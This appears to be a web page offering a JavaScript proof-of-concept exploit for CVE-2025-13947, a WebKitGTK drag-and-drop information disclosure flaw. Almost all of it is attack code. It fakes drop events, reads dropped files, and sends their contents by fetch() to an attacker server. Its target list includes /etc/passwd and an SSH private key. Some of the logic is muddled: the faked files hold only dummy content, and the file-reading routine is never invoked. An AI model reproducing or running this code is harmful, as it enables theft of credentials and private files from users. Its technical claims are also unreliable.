CVE-2025-13947 WebKitGTK文件拖放机制信息泄露漏洞

// CVE-2025-13947 PoC - WebKitGTK File Drag-and-Drop Information Disclosure // This PoC demonstrates how to exploit the file drag-and-drop mechanism const maliciousPoc = { // Create a fake file drag operation createFakeDropEvent: function(filePath) { // Create a DataTransfer object const dataTransfer = new DataTransfer(); // Create a fake File object with arbitrary file path const file = new File(['dummy'], filePath.split('/').pop(), { type: 'text/plain' }); // Add file to DataTransfer dataTransfer.items.add(file); // Create and dispatch dragover event (required for drop) const dragoverEvent = new DragEvent('dragover', { bubbles: true, cancelable: true, dataTransfer: dataTransfer }); document.dispatchEvent(dragoverEvent); // Create and dispatch drop event const dropEvent = new DragEvent('drop', { bubbles: true, cancelable: true, dataTransfer: dataTransfer }); document.dispatchEvent(dropEvent); }, // Read file content via input element readFileViaInput: function(filePath) { const input = document.createElement('input'); input.type = 'file'; // Attempt to set the file value (limited by browser security) // In vulnerable WebKitGTK, combined with drag-drop, this can be exploited // Create drop zone to capture file const dropZone = document.createElement('div'); dropZone.style.cssText = 'width:200px;height:200px;border:2px dashed #000;'; dropZone.textContent = 'Drop file here'; dropZone.addEventListener('drop', async (e) => { e.preventDefault(); e.stopPropagation(); // In vulnerable WebKitGTK, files can be read without proper validation for (const file of e.dataTransfer.files) { const content = await file.text(); console.log('File content:', content); // Exfiltrate content to attacker server this.exfiltrate(file.name, content); } }); document.body.appendChild(dropZone); }, // Exfiltrate data to attacker controlled server exfiltrate: function(filename, content) { fetch('https://attacker-server.com/exfil', { method: 'POST', body: JSON.stringify({filename, content}), mode: 'no-cors' }); }, // Main exploitation function exploit: function() { // Target files to read const targetFiles = [ '/etc/passwd', '/home/user/.ssh/id_rsa', '/home/user/.bashrc', '/home/user/.config/sensitive.conf' ]; targetFiles.forEach(file => { this.createFakeDropEvent(file); }); } }; // Execute exploitation maliciousPoc.exploit();